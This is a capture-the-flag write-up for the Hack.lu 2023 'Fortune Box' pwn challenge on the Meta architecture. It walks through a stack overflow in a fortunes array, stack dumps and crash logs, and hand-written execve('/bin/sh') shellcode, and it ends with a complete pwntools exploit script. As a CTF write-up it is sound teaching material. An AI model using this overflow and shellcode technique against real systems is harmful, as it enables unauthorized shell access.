Fortune Box
- Event: Hack.lu CTF 2023
- Category: pwn
- Solves: 7; first blood
- Points: 363
Preliminary
Wanna test your fortune? Try this small program to predict your future. I grabbed it from our old archive server so it might be a bit dated.
Don't be discouraged from a bad prediction. Future telling is just hocus pocus, or is it?
Connect via nc flu.xxx 10150
Files can be downloaded from here.
We see that one of provided files is named qemu-system-meta
which means
that the task is to pwn something on Meta
architecture.
This is an architecture developed by Imagination Technologies, it was added to linux kernel 3.9 as “metag” in 2013 and removed in 2018 (kernel remove patch)
There is also file fortune-box
$ file fortune-box
fortune-box: ELF 32-bit LSB executable, META, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
It means that we need to pwn this user-mode binary.
Redme.md
provides instructions on how to obtain crash logs:
Build the debug container with `docker build -t fortune-box-debug .`.
Start the container with `docker run --rm -ti -p 1337:1337 -v "$PWD":/chall fortune-box-debug`
The process will then listen on port 1337 and spawn the challenge once a connection is started.
A log file `kmsg.log` is create which contains the kernel log output for each run.
It contains information about crashed processes.
The terminal with the docker command will print a pty number, e.g., `/dev/pts/12` where a root shell is spawned.
Exec into the container and connect to the shell with a serial console, e.g., `pyserial-miniterm --raw --eol CR /dev/pts/12`.
The challenge is halted if the fortune-box process crashes, this can be suppressed by creating the file `/debug`, e.g., run `touch /debug` in the vm.
The flag resides in `/flag`.
The message `Unable to load ROM!` is normal and can be ignored.
Now find out what the future brings to you.
To summarize, we have a Docker container running qemu-system-meta
, which emulates a provided Linux kernel for the Meta architecture.
This kernel, in turn, runs the fortune-box
user-mode binary.
Vulnerability
Hello, give me your name: Name
Oh Dear, Name. I see your sign is The Water-bearer. This is not good. Your future is uncertain.
Tell me your fortunes, only then I can predict your future
You can:
1. Tell me a fortune
2. See a fortune
3. Dismiss a fortune
4. Reveal the future
What do you want to do?
> 1
What is it you want to tell me?
Hello World
At the beginning, our binary reads a name
from us and then enters its loop.
We can add a new fortune, view the last added fortune, remove the last added fortune, and display a random fortune.
It’s worth noting that we can crash the binary when attempting to
display a random fortune if we haven’t added any fortunes yet.
This is because fortune_i
is equal to 0, leading to a division by 0 error:
struct Fortune *fortune = &fortunes[rand() % fortune_i];
Since fortunes are declared inside main
function, they are kept on the stack:
struct Fortune fortunes[13];
Fortune structure:
struct Fortune {
char *content;
size_t len;
};
You may notice that you can create more fortunes than 13
, which will
lead to buffer overflow
vulnerability:
case '1':
add_fortune(&fortunes[fortune_i++]);
break;
↓
void add_fortune(struct Fortune *fortune) {
fortune->len = 0x100;
fortune->content = malloc(0x100);
puts("What is it you want to tell me?\n");
read(0, fortune->content, fortune->len);
fortune->content[0x100-1] = 0;
fortune->len = strlen(fortune->content);
}
The add_fortune
function simply uses malloc
to allocate memory, reads input,
and sets the content and length.
There is another buffer overflow
vulnerability at the beginning of
the program when reading a name
.
name_len = getline(name);
Debugging
To obtain a crash log, you can read kmsg.log
file inside the Docker container.
Below is an example of how it looks like in case of divide-by-0
error:
<6>[ 87.479336] task: 4fd11a40 ti: 4fd3c000 task.ti: 4fd3c000
<6>[ 87.479358] pt_regs @ 4fd3c018
<6>[ 87.479377] SaveMask = 0xc041
<6>[ 87.479451] Flags = 0x0008 (Znoc)
<6>[ 87.479470] TXRPT = 0x00000000
<6>[ 87.479503] PC = 0x100056e8
<6>[ 87.479528] A0StP = 0x3b000208 A1GbP = 0x00000000
<6>[ 87.479569] A0FrP = 0x3b0000c0 A1LbP = 0x080bd7ac
<6>[ 87.479598] A0.2 = 0x080bb4fc A1.2 = 0x00000000
<6>[ 87.479623] A0.3 = 0x10005578 A1.3 = 0x00000000
<6>[ 87.479653] D0Re0 = 0x287f9d16 D1Re0 = 0x00000000
<6>[ 87.479687] D0Ar6 = 0x00000000 D1Ar5 = 0x0000001d
<6>[ 87.479703] D0Ar4 = 0x00000000 D1Ar3 = 0x0000001e
<6>[ 87.479719] D0Ar2 = 0x7efcea4c D1Ar1 = 0x00000001
<6>[ 87.479734] D0FrT = 0x00000003 D1RtP = 0x100056d4
<6>[ 87.479749] D0.5 = 0x00000000 D1.5 = 0x3b00019c
<6>[ 87.479766] D0.6 = 0x10005ac4 D1.6 = 0x100059b0
<6>[ 87.479782] D0.7 = 0x10005a44 D1.7 = 0x10005aa0
I couldn’t find any debugger supporting Meta architecture, but since we
also have access to a shell inside the emulated Meta OS, we can
read from /proc/$pid/maps
and /proc/$pid/mem
. These methods are the best
debugging approaches I could come up with. After the CTF, it turned out
that there was no better way.
Stack layout and controlling PC
Firstly, I noticed that all addresses are always the same:
# cat /proc/91/maps
08000000-08007000 r-xp 00000000 00:02 184 /lib/ld-uClibc-1.0.44.so
08007000-08009000 rw-p 00000000 00:00 0
0800b000-0800c000 r--p 00007000 00:02 184 /lib/ld-uClibc-1.0.44.so
0800c000-0800d000 rw-p 00008000 00:02 184 /lib/ld-uClibc-1.0.44.so
0800d000-080b2000 r-xp 00000000 00:02 191 /lib/libuClibc-1.0.44.so
080b2000-080b7000 ---p 00000000 00:00 0
080b7000-080b9000 r--p 000a6000 00:02 191 /lib/libuClibc-1.0.44.so
080b9000-080bc000 rw-p 000a8000 00:02 191 /lib/libuClibc-1.0.44.so
080bc000-080bf000 rw-p 00000000 00:00 0
10004000-10006000 r-xp 00000000 00:02 317 /usr/bin/fortune-box
1000b000-1000c000 r--p 00003000 00:02 317 /usr/bin/fortune-box
1000c000-1000e000 rw-p 00004000 00:02 317 /usr/bin/fortune-box
1000e000-1000f000 rwxp 00000000 00:00 0 [heap]
3afff000-3b021000 rwxp 00000000 00:00 0 [stack]
Later, I attempted to overflow a name with a large number of bytes in order to trigger a crash, but the binary never crashed.
This is an output after sending "a"*500
:
Hello, give me your name: $ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Oh Dear, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\x00\x00U\x00\x89\x03;\xf5\xc0\x00\xac\xd7
L\x1 \x92\x0b\x00\x00\x00\x00
\x00\x00X\x06 \x92\x0baaaaH\x92\x0b\x10\xa7\x06\x00\x00\x00
\x00\x00X\x06\xc0\x00\xac\xd7
\xc0\x00 g\x00 \x92\x0baaaa\x94\x00\x00\x00`\x00\xac\xd7
`\x00\x88`\x00\x00\x00`\xe7
\xd\x00\x00\x00\x00\x00\x00Ֆn\x0b \xd\x90q\x00\x00\x00\x00\x00\x00\x00\x00\xf7\xa<\x92\x0b\x00\x00\x92\x0b\x93\xdcE\x06\xf7\xa\x90q\x00\x00\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. I see your sign is The Lion. This is not good. Your future is uncertain.
What we get is "a"*116
, followed by 232 strange bytes
, and then "a"*116
, totalling 500
bytes.
That’s interesting because it means that a lot of stack data is written to between overflowing and printing name
.
I realized that in our binary, main
never exits, so overwritting the main
return address is pointless. However, between writing and printing the name
, other
functions are called, so there could be a newer stack frames.
Additionally, there could be other main
variables.
Notice that the second BO
vulnarability (overflow of fortunes
table)
is triggered inside the add_fortune
function, which returns back to main, so maybe we could
overflow return address of that function?
I decided to dump the stack several times at different stages and
used diff
to recognize where exactly different variables are located.
We are interested in dumping this region:
1000e000-1000f000 rwxp 00000000 00:00 0 [heap]
I used this command to dump the entire stack:
dd if=/proc/91/mem bs=1 skip=$((0x3afff000)) count=$((0x22000)) of=dump
Here is a snippet of the stack dump after providing 5 fortunes and writing "a"*8
as a name
:
00001190: 310a0000 61616161 61616161 08e00010 1...aaaaaaaa.... <- name and fortunes start
000011a0: 05000000 10e10010 05000000 18e20010 ................
000011b0: 05000000 20e30010 05000000 28e40010 .... .......(...
000011c0: 05000000 88600008 00d00008 08e50a00 .....`..........
000011d0: ea9d0108 00000000 00000000 00000000 ................
000011e0: 10b79c06 8c2f0108 ea9d0108 90710008 ...../.......q..
000011f0: 01000000 00000000 c001003b 001f0008 ...........;....
00001200: 01000000 00000000 00000000 7c560010 ............|V..
00001210: 05000000 9c01003b 00010000 40550010 .......;....@U.. <- fortune_i
00001220: bc01003b 9c01003b c45a0010 b0590010 ...;...;.Z...Y..
00001230: 445a0010 a05a0010 c000003b acd70b08 DZ...Z.....;....
00001240: 4c180908 f0910b08 00000000 00000000 L...............
00001250: 18010000 00f0ffff 00000000 14e90b08 ................
00001260: ff0f0000 acd70b08 d90a0000 e8490608 .............I..
00001270: 28e40010 9c01003b c45a0010 b0590010 (......;.Z...Y..
00001280: c000003b acd70b08 c000003b acd70b08 ...;.......;....
00001290: 34520010 48700008 01000000 00000000 4R..Hp..........
000012a0: 6802003b 001f0008 20dd0108 90710008 h..;.... ....q..
000012b0: 01000000 00000000 8002003b 001f0008 ...........;....
000012c0: f7a20108 3c920b08 02000000 3c920b08 ....<.......<...
000012d0: 93dc4506 8c2f0108 f7a20108 90710008 ..E../.......q..
000012e0: 01000000 00000000 b002003b 001f0008 ...........;....
000012f0: 00000000 00000000 00000000 00000000 ................
00001300: 00000000 00000000 1f000000 e7ffff3a ...............:
00001310: 00000000 00000000 00000000 00000000 ................
00001320: 00000000 00000000 00000000 00000000 ................
fortune_i
is at offset 0x1210
: 05000000
. We can observe that little-endian
is used for numbers (xxd
displays them in big-endian
)
fortunes
table starts at offset 0x119c
, right after name
.
It’s a chain of (heap pointer, len)*5
in our case.
I realized that len
of 15th fortune
will overwrite fortune_i
.
Right before fortune_i
is placed a pointer to 0x1000567c
,
which belongs to the executable
memory region.
15th fortune will write its pointer to heap buffer here.
This pointer could potentially be a return address or some other pointer that the program could jump to. Although there are many similar pointers in the dump, we can begin by overwriting this one and observe the outcome.
def tell_fortune(l):
r.send(b"1\x00")
r.recvuntil(b"tell me?\n")
r.send(b"H"*l+b"\x00")
r.recvuntil(b"> ")
def tell_fortune_last():
r.send(b"1\x00")
r.recvuntil(b"tell me?\n")
r.send("b"*50)
r.interactive()
r.recvuntil(b"name: ")
r.sendline(b"a"*8)
r.recvuntil(b"> ")
for i in range(14):
tell_fortune(0x22)
tell_fortune_last()
sending "a"*50
causes the binary to hang, possibly due to getting stuck isnide infinite loop.
However, "b"*50
crashes the binary, and here is a log:
<6>[ 2.739663] pid 91 unhandled fault: pc 0x1000eea8, addr 0x1000eea8, trap 1 (Illegal instruction fault)
<4>[ 2.740168]
<6>[ 2.740707] CPU: 0 PID: 91 Comm: fortune-box Not tainted 4.4.302-1 #50
<6>[ 2.741006] task: 4fd11a40 ti: 4fd3c000 task.ti: 4fd3c000
<6>[ 2.741066] pt_regs @ 4fd3c018
<6>[ 2.741125] SaveMask = 0x8001
<6>[ 2.741402] Flags = 0x0008 (Znoc)
<6>[ 2.741464] TXRPT = 0x00000000
<6>[ 2.741523] PC = 0x1000eea8
<6>[ 2.741590] A0StP = 0x3b000208 A1GbP = 0x00000000
<6>[ 2.741711] A0FrP = 0x3b0000c0 A1LbP = 0x080bd7ac
<6>[ 2.741796] A0.2 = 0x1000d410 A1.2 = 0x00000000
<6>[ 2.741872] A0.3 = 0x080be914 A1.3 = 0x00000000
<6>[ 2.741956] D0Re0 = 0x00000032 D1Re0 = 0x0000003f
<6>[ 2.742060] D0Ar6 = 0x1000eeab D1Ar5 = 0x80808080
<6>[ 2.742112] D0Ar4 = 0x1000eeac D1Ar3 = 0x1000eea9
<6>[ 2.742158] D0Ar2 = 0x1000eeaa D1Ar1 = 0x1000ee78
<6>[ 2.742200] D0FrT = 0x00000000 D1RtP = 0x1000ee78
<6>[ 2.742243] D0.5 = 0x00000032 D1.5 = 0x3b00019c
<6>[ 2.742288] D0.6 = 0x10005ac4 D1.6 = 0x100059b0
<6>[ 2.742332] D0.7 = 0x10005a44 D1.7 = 0x10005aa0
PC
clearly points to the heap
region, indicating that our payload is executed!
Let’s compute the address of the beginning of our payload, it would
be useful during shellcoding.
The malloced area for each fortune buffer is always 0x100
.
By inspecting the stack dump and comparing the next addresses, we can compute that
the buffer of the 15th fortune is located at address 0x1000ee78
.
Shellcode
The last step is to create a shellcode. I couldn’t find any documentation
about assembly for Meta
, but in the provided source code, there is
some infomation about the syscall ABI:
size_t write(int fd, void *buf, size_t count) {
register long __call __asm__ ("D1Re0") = 64;
register long __res __asm__ ("D0Re0");
register long __a __asm__ ("D1Ar1") = fd;
register long __b __asm__ ("D0Ar2") = buf;
register long __c __asm__ ("D1Ar3") = count;
__asm__ __volatile__ ("SWITCH #0x440001"
: "=d" (__res)
: "d" (__call), "d" (__a), "d" (__b), "d" (__c)
: "memory");
return (size_t) __res;
}
ABI is also described here: KERNEL ABIS FOR METAG ARCH
So if syscall is triggered, then: D1Re0
keeps the syscall number.
Arguments go to D1Ar1
, D0Ar2
, D1Ar3
respectively,
and the syscall instruction is SWITCH #0x440001
.
My friend Cypis found the tools metag-linux-gnu-as
and metag-linux-gnu-objdump
,
which are available on fedora. So:
docker run --rm -it --platform linux/amd64 -v $(pwd):/code fedora
dnf install binutils-metag-linux-gnu
I found some examples of Meta assembly programs here, and they served as our source of information about assembly for this architecture.
We produced following shellcode:
.global __start
.section .text
__start:
MOV D1Re0,#221
MOV D1Ar1,#0xffff
MULD D1Ar1,D1Ar1,#0x1000
ADD D1Ar1,D1Ar1,#0xfea0
MOV D0Ar2,#0
MOV D1Ar3,#0
SWITCH #0x440001
D1Ar1
is set to 0x1000eea0
, which is the address where we want to place the /bin/sh
string.
Meta instructions are 4 bytes
each, so it’s not possible to set a 4-byte
value into a register in a single instruction.
Therefore, we split it into three instructions, which are: setting D1Ar1
to 0xffff
, multiplying it by 0x1000
, and then adding 0xfea0
.
The syscall number for execve
can be obtained from the: Linux kernel system calls for all architectures.
The rest of the shellcode is straightforward.
These commands compile assembly program and display the raw bytes of the code:
metag-linux-gnu-as shellcode.asm -o shellcode.o
metag-linux-gnu-objdump -d shellcode.o
And it worked! We got a flag. Below is a full exploit code:
from pwn import *
#context.log_level="DEBUG"
r = remote("localhost",1337)
#r = remote("flu.xxx",10150)
shellcode = b""
shellcode += p32(0x030006ec)
shellcode += p32(0x031ffffc)
shellcode += p32(0x63188004)
shellcode += p32(0x031ff500)
shellcode += p32(0x02180004)
shellcode += p32(0x03100004)
shellcode += p32(0xaf440001)
def tell_fortune(l):
r.send(b"1\x00")
r.recvuntil(b"tell me?\n")
r.send(b"H"*l+b"\x00")
r.recvuntil(b"> ")
def tell_fortune_last():
r.send(b"1\x00")
r.recvuntil(b"tell me?\n")
r.send(shellcode+b"\x33"*12+b"/bin/sh\x00")
r.interactive()
r.recvuntil(b"name: ")
r.sendline(b"a"*8)
r.recvuntil(b"> ")
for i in range(14):
tell_fortune(0x22)
tell_fortune_last()
Credits
Cypis, thanks for finding a tool and helping with shellcode